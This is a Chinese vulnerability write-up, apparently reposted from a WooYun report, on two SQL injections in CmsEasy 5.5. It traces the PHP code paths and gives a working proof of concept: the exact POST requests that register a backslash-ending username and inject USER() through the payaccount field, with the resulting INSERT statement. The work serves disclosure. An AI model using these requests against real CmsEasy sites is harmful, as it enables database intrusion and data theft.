记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

CmsEasy最新版5.5_UTF-8_20140802两处SQL注入(指哪补哪的后果)

2014-11-02 02:20

首先来看看union_act.php:

code 区域
function register_action() {

$r = $this->_union->getrow(array('userid'=>$this->view->data['userid']));

if($r) {

echo '<script type="text/javascript">alert("'.lang('你已经申请,转入联盟页面!').'")</script>';

front::refresh(url::create('union/stats'));

}

if(front::post('submit')) {

if(!config::get('reg_on')) {

front::flash(lang('网站已经关闭注册!'));

return;

}

if(config::get('verifycode')) {

if(!session::get('verify') ||front::post('verify')<>session::get('verify')) {

front::flash(lang('验证码错误!'));

return;

}

}

if(front::post('nickname') != strip_tags(front::post('nickname'))

||front::post('nickname') != htmlspecialchars(front::post('nickname'))

) {

front::flash(lang('姓名不规范!'));

return;

}

if(strlen(front::post('nickname'))<4) {

front::flash(lang('请填写认真填写真实姓名!'));

return;

}

if(strlen(front::post('payaccount'))<1) {

front::flash(lang('请填写支付账号!'));

return;

}

if(strlen(front::post('tel'))<1) {

front::flash(lang('请填写联系电话!'));

return;

}

if(strlen(front::post('address'))<1) {

front::flash(lang('请填写联系地址!'));

return;

}

if(strlen(front::post('website'))<1) {

front::flash(lang('请填写网站地址!'));

return;

}

/*if(strlen(front::post('e_mail'))<1) {

front::flash(lang('请填写邮箱!'));

return;

}*/

if(is_array($_POST)){

foreach ($_POST as $v){

if(preg_match('/(select|load_file|\[|password)/i', $v)){

exit('not access');

}

}

}

$userarr = array();

$userarr['nickname'] = front::$post['nickname'];

$userarr['tel'] = front::$post['tel'];

$userarr['address'] = front::$post['address'];

//$userarr['e_mail'] = front::$post['e_mail'];

$unionarr = array();

$unionarr['userid'] = $this->view->data['userid'];

$unionarr['username'] = $this->view->data['username'];

$unionarr['payaccount'] = front::$post['payaccount'];

$unionarr['website'] = front::$post['website'];

$unionarr['profitmargin'] = union::getconfig('profitmargin');

$unionarr['regtime'] = time();

$unionarr['regip'] = front::ip();

$unionarr['passed'] = 1;

if(front::post('nickname') &&$this->view->data['userid']) {

$insert=$this->_user->rec_update($userarr,'userid='.$this->view->user['userid']);

$insert1 = $this->_union->rec_insert($unionarr);

if($insert &&$insert1) front::flash(lang('申请成功!'));

else {

front::flash(lang('申请失败!'));

return;

}

front::redirect(url::create('union/stats'));

exit;

}

else {

front::flash(lang('申请失败!'));

return;

}

}

}



注意这里:

$insert1 = $this->_union->rec_insert($unionarr);

我们来看看rec_insert的处理:

code 区域
function rec_insert($row) {

$tbname=$this->name;

$sql=$this->sql_insert($tbname,$row);

return $this->query_unbuffered($sql);

}



function sql_insert($tbname,$row) {

$sqlfield='';

$sqlvalue='';

foreach ($row as $key=>$value) {

if (in_array($key,explode(',',$this->getcolslist()))) {

$value=$value;

$sqlfield .= $key.",";

$sqlvalue .= "'".$value."',";

}

}

return "INSERT INTO `".$tbname."`(".substr($sqlfield,0,-1).") VALUES (".substr($sqlvalue,0,-1).")";

}



最后直接进入INSERT INTO,进入SQL语句



我们来看看$this->view->data['username']这个内容是什么

还是union_act.php文件:

code 区域
function init() {

if(!union::getconfig('enabled')) {

echo '<script type="text/javascript">alert("'.lang('推广联盟未开启,转让会员中心!').'")</script>';

front::refresh(url::create('user/index'));

}

$user='';

if(cookie::get('login_username') &&cookie::get('login_password')) {

$user=new user();

$user=$user->getrow(array('username'=>cookie::get('login_username')));

}

if(!is_array($user) &&front::$act != 'into'&&front::$act != 'login'&&front::$act != 'register'&&front::$act != 'login_js'&&front::$act != 'login_success'&&front::$act != 'getpass'&&front::$act != 'edit'){

front::redirect(url::create('user/login'));

}else{

if (is_array($user) && cookie::get('login_password') == front::cookie_encode($user['password'])) {

$this->view->user = $user;

$this->view->usergroupid = $user['groupid'];

$obj = new usergroup();

$this->roles = $obj->getrow(array('groupid'=>$this->view->usergroupid));

}

}

$this->_user=new user;

$this->view->form = $this->_user->get_form();

$this->view->field = $this->_user->getFields();

$this->view->primary_key=$this->_user->primary_key;

$this->view->data = $this->view->user;

$this->_union = new union();

$this->view->uniondata = $this->_union->getrow(array('userid'=>$this->view->data['userid']));

if(!$this->view->uniondata &&front::$act != 'register'&&front::$act != 'into') {

echo '<script type="text/javascript">alert("'.lang('未申请账号,转入联盟申请页面!').'");window.location.href="'.url::create('union/register').'";</script>';

//front::refresh(url::create('union/register'));

}

$this->_pagesize=config::get('manage_pagesize');

}





注意这几处关系:

$user=$user->getrow(array('username'=>cookie::get('login_username')));

$this->view->user = $user;

$this->view->data = $this->view->user;

所以由上面三处赋值关系可以看到

$this->view->data就是当前登录用户的用户属性信息。

所以到这里我们来想一想:

要是这里的用户属性信息就是$this->view->data的内容再进入SQL语句时,能带入单引号’或者反斜杠\,那么就可能导致SQL注入。

带着这个问题,我们来看看$this->view->data即用户属性信息是如何存进数据库的,能不能带入特殊符号进入。



这里就要注册时,带入\即可

但是最新版在user_act.php中进行了处理:

code 区域
if(front::post('username') &&front::post('password')) {

$username=front::post('username');

$username=str_replace('\\', '', $username);

$password=md5(front::post('password'));

$e_mail=front::post('e_mail');

$tel=front::post('tel');



把\\给替换为空了,导致无法直接带入\



但是这里还有一个respond_action函数:

code 区域
function respond_action() {

ini_set("display_errors","On");

$classname = front::$get['ologin_code'];

if(front::post('regsubmit')) {

if(!config::get('reg_on')) {

front::flash(lang('网站已经关闭注册!'));

return;

}

if(front::post('username') != strip_tags(front::post('username'))

||front::post('username') != htmlspecialchars(front::post('username'))

) {

front::flash(lang('用户名不规范!'));

return;

}

if(strlen(front::post('username'))<4) {

front::flash(lang('用户名太短!'));

return;

}

if(front::post('username') &&front::post('password')) {

$username=front::post('username');

$password=md5(front::post('password'));

$data=array(

'username'=>$username,

'password'=>$password,

'groupid'=>101,

'userip'=>front::ip(),

$classname=>session::get('openid'),

);

if($this->_user->getrow(array('username'=>$username))) {

front::flash(lang('该用户名已被注册!'));

return;

}

$insert=$this->_user->rec_insert($data);

$_userid = $this->_user->insert_id();

if($insert){

front::flash(lang('注册成功!'));

}else {

front::flash(lang('注册失败!'));

return;

}

$user=$data;

cookie::set('login_username',$user['username']);

cookie::set('login_password',front::cookie_encode($user['password']));

session::set('username',$user['username']);

front::redirect(url::create('user'));

exit;

}

}



这里同样可以注册,而且没有过滤username,注册更简单,并且可带入反斜杠\

可以看到这里的用户名username直接赋给了cookie[login_username]

code 区域
所以通过上面的分析与测试得出结论:

1、注册一个用户,用户名中带反斜杠,如:222222\;

2、登陆后,此用户的用户名进入cookie[login_username];

3、在会员中心,推广联盟,注册用户时,根据cookie[login_username]取出当前用户的信息,如userid,username等,直接赋给$this->view->data;

4、在注册时,没有处理$this->view->data[‘username’],$this->view->data[‘username’]直接进入INSERT INTO SQL语句;

5、由于用户名username中有反斜杠’\’,进入SQL语句后导致反斜杠与其后的单引号“’”结合,使单引号失效,导致SQL注入,如:’userid’,’username\’,’website’,所以最后这里的website逃逸了单引号保护,导致SQL语句执行。





第二处SQL注入在guestbook_act.php文件

同样的原理,就不在详细分析

在留言时,抓包,修改content的值即可



具体分析可见: WooYun: CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

由register_action引起的漏洞分析

漏洞证明:

1、注册:

code 区域
链接:

http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=user&act=respond



POST:

ologin_code=&username=222222%5C&password=222222&password2=222222&regsubmit=+%E7%99%BB%E9%99%86+



2、登陆:

这里登陆也是用这个接口登陆

code 区域
链接:

http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=user&act=respond



POST:

ologin_code=&username=222222%5C&password=222222&submit=+%E7%99%BB%E9%99%86+



3、注册推广联盟:

然后抓包,修改payaccount的值

code 区域
链接:

http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=union&act=register



POST:

nickname=111111&payaccount=,222222,USER(),2,1111111,1111111,11)#&tel=111111&e_mail=111111%40111.com&address=111111&website=111111&verify=tjfv&submit=+%E7%94%B3%E8%AF%B7+



然后看看数据库执行记录:

code 区域
INSERT INTO `cmseasy_union`(userid,username,payaccount,website,profitmargin,regtime,regip,passed) VALUES ('5','222222\',',222222,USER(),2,1111111,1111111,11)#','111111','2','1407051889','127.0.0.1','1')



111.png



4、修改资料:

code 区域
http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=union&act=edit&manage=union



即可看到结果:

2.png

修复方案:

话说上一个漏洞为啥才给中危?!

在register_action里处理了,但是没在respond_action处理

知识来源: www.wooyun.org/bugs/wooyun-2014-070858

阅读:231786 | 评论:0 | 标签:注入 cms

想收藏或者和大家分享这篇好文章→复制链接地址

“CmsEasy最新版5.5_UTF-8_20140802两处SQL注入(指哪补哪的后果)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云